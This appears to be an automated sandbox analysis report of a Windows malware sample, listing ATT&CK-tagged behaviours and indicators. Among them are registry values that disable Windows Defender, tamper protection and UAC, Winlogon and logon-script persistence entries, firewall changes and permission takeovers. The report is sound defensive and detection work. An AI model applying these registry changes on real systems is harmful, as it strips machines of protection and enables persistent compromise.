sheetrat | ca8c2b32f4dad49187321099ce679dc7df29f68eded8b3e052be0375a5570815

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Program Files\\Speech_OneCore\\Engines\\TTS\\ru-RU\\M1004NUS.exe,"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BootExecutor.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

UAC bypass 3 TTPs 12 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral2/memory/4048-1-0x000001FBE4730000-0x000001FBE47AA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral2/files/0x000d00000001c5ed-203.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral2/memory/4048-1-0x000001FBE4730000-0x000001FBE47AA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral2/files/0x000d00000001c5ed-203.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/4048-1-0x000001FBE4730000-0x000001FBE47AA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000d00000001c5ed-203.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4368	bcdedit.exe
1708	bcdedit.exe
4580	bcdedit.exe
4264	bcdedit.exe

Drops file in Drivers directory 32 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys.bak	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\serenum.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\serial.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\serenum.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys.bak	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys.bak	M1004NUS.exe
File created	C:\Windows\system32\drivers\usbprint.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\parport.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys.bak	M1004NUS.exe
File created	C:\Windows\system32\drivers\serial.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5896	netsh.exe
5376	netsh.exe
4120	netsh.exe

Possible privilege escalation attempt 52 IoCs

exploit

pid	Process
3392	icacls.exe
200	icacls.exe
2240	takeown.exe
4376	icacls.exe
4528	icacls.exe
1868	takeown.exe
5632	icacls.exe
8	icacls.exe
5392	icacls.exe
1276	icacls.exe
2592	icacls.exe
3704	icacls.exe
4508	icacls.exe
960	takeown.exe
5536	icacls.exe
1576	takeown.exe
1588	icacls.exe
2760	takeown.exe
2480	icacls.exe
5664	icacls.exe
960	icacls.exe
2352	icacls.exe
1828	icacls.exe
5152	icacls.exe
5604	icacls.exe
5800	icacls.exe
6064	icacls.exe
2760	icacls.exe
6008	icacls.exe
2344	takeown.exe
1852	takeown.exe
4320	icacls.exe
2136	icacls.exe
2592	icacls.exe
2972	icacls.exe
5960	takeown.exe
5400	icacls.exe
4544	icacls.exe
3812	icacls.exe
5108	takeown.exe
4580	icacls.exe
3300	icacls.exe
5196	icacls.exe
4168	icacls.exe
3500	takeown.exe
4772	takeown.exe
2556	takeown.exe
5536	icacls.exe
3180	icacls.exe
4464	icacls.exe
4456	icacls.exe
2720	icacls.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes a file named after a Windows system binary 1 TTPs 2 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Protect\dllhost.exe	M1004NUS.exe
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Protect\dllhost.exe	dllhost.exe

Executes dropped EXE 8 IoCs

pid	Process
4620	WmiPrvSE.exe
4064	BootExecutor.exe
4776	M1004NUS.exe
2204	M1004NUS.exe
5924	StartMenuExperienceHost.exe
4580	BackgroundTaskHost.exe
2244	WmiPrvSE.exe
3228	dllhost.exe

Modifies file permissions 1 TTPs 52 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1276	icacls.exe
3180	icacls.exe
2972	icacls.exe
4168	icacls.exe
5400	icacls.exe
4320	icacls.exe
5800	icacls.exe
3300	icacls.exe
5152	icacls.exe
4376	icacls.exe
960	icacls.exe
4528	icacls.exe
2760	icacls.exe
4456	icacls.exe
2480	icacls.exe
5664	icacls.exe
960	takeown.exe
5632	icacls.exe
2556	takeown.exe
5196	icacls.exe
2240	takeown.exe
2352	icacls.exe
5536	icacls.exe
8	icacls.exe
1576	takeown.exe
2760	takeown.exe
5536	icacls.exe
2592	icacls.exe
2344	takeown.exe
2720	icacls.exe
4464	icacls.exe
6064	icacls.exe
3392	icacls.exe
5960	takeown.exe
5604	icacls.exe
4772	takeown.exe
4508	icacls.exe
2136	icacls.exe
5108	takeown.exe
4580	icacls.exe
1852	takeown.exe
3500	takeown.exe
3704	icacls.exe
1868	takeown.exe
200	icacls.exe
1828	icacls.exe
2592	icacls.exe
6008	icacls.exe
4544	icacls.exe
3812	icacls.exe
5392	icacls.exe
1588	icacls.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Environment\UserInitMprLogonScript = "C:\\Program Files\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Environment\UserInitMprLogonScript = "C:\\Program Files\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
File created	C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe
File created	C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2576	sc.exe
3084	sc.exe
5988	sc.exe
836	sc.exe
4088	sc.exe
6016	sc.exe
6036	sc.exe
2500	sc.exe
3460	sc.exe
720	sc.exe
2812	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4128	cmd.exe
4772	cmd.exe
4372	cmd.exe
5832	cmd.exe
924	cmd.exe
3700	CMD.exe
5820	cmd.exe
2932	CMD.exe
2104	cmd.exe
4656	cmd.exe
2108	cmd.exe
3492	cmd.exe
5416	cmd.exe
5432	cmd.exe
3628	cmd.exe
1456	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 20 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	BootExecutor.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WmiPrvSE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	BackgroundTaskHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WmiPrvSE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WmiPrvSE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	BootExecutor.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	StartMenuExperienceHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WmiPrvSE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	StartMenuExperienceHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	BackgroundTaskHost.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 29 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5776	schtasks.exe
1432	schtasks.exe
1888	schtasks.exe
3068	schtasks.exe
1720	schtasks.exe
2404	schtasks.exe
2304	schtasks.exe
4596	schtasks.exe
3660	schtasks.exe
3500	schtasks.exe
1168	schtasks.exe
3532	schtasks.exe
5992	schtasks.exe
3556	schtasks.exe
1084	schtasks.exe
4876	schtasks.exe
4044	schtasks.exe
248	schtasks.exe
5200	schtasks.exe
804	schtasks.exe
5668	schtasks.exe
828	schtasks.exe
2596	schtasks.exe
5072	schtasks.exe
5268	schtasks.exe
4428	schtasks.exe
4584	schtasks.exe
1124	schtasks.exe
3404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
4776	M1004NUS.exe
4776	M1004NUS.exe
4776	M1004NUS.exe
4776	M1004NUS.exe
4064	BootExecutor.exe
4064	BootExecutor.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	2064	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Token: SeTakeOwnershipPrivilege	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Token: SeRestorePrivilege	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	4064	BootExecutor.exe
Token: SeDebugPrivilege	4620	WmiPrvSE.exe
Token: SeDebugPrivilege	4776	M1004NUS.exe
Token: SeDebugPrivilege	4776	M1004NUS.exe
Token: SeTakeOwnershipPrivilege	4776	M1004NUS.exe
Token: SeRestorePrivilege	4776	M1004NUS.exe
Token: SeDebugPrivilege	2204	M1004NUS.exe
Token: SeDebugPrivilege	5924	StartMenuExperienceHost.exe
Token: SeDebugPrivilege	2244	WmiPrvSE.exe
Token: SeDebugPrivilege	3228	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 3628	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	90
PID 3628 wrote to memory of 5896	3628	cmd.exe	92
PID 4048 wrote to memory of 5884	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	93
PID 4048 wrote to memory of 2576	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	95
PID 4048 wrote to memory of 6016	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	97
PID 4048 wrote to memory of 3084	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	99
PID 4048 wrote to memory of 248	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	102
PID 4048 wrote to memory of 1156	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	104
PID 4048 wrote to memory of 480	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	107
PID 4048 wrote to memory of 4584	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	110
PID 4048 wrote to memory of 4724	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	113
PID 4048 wrote to memory of 440	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	115
PID 4048 wrote to memory of 5832	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	117
PID 5832 wrote to memory of 1124	5832	cmd.exe	119
PID 4048 wrote to memory of 6036	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	120
PID 4048 wrote to memory of 4260	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	122
PID 4048 wrote to memory of 624	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	124
PID 4048 wrote to memory of 2932	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	125
PID 4048 wrote to memory of 2104	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	126
PID 4048 wrote to memory of 924	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	129
PID 4048 wrote to memory of 4656	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	130
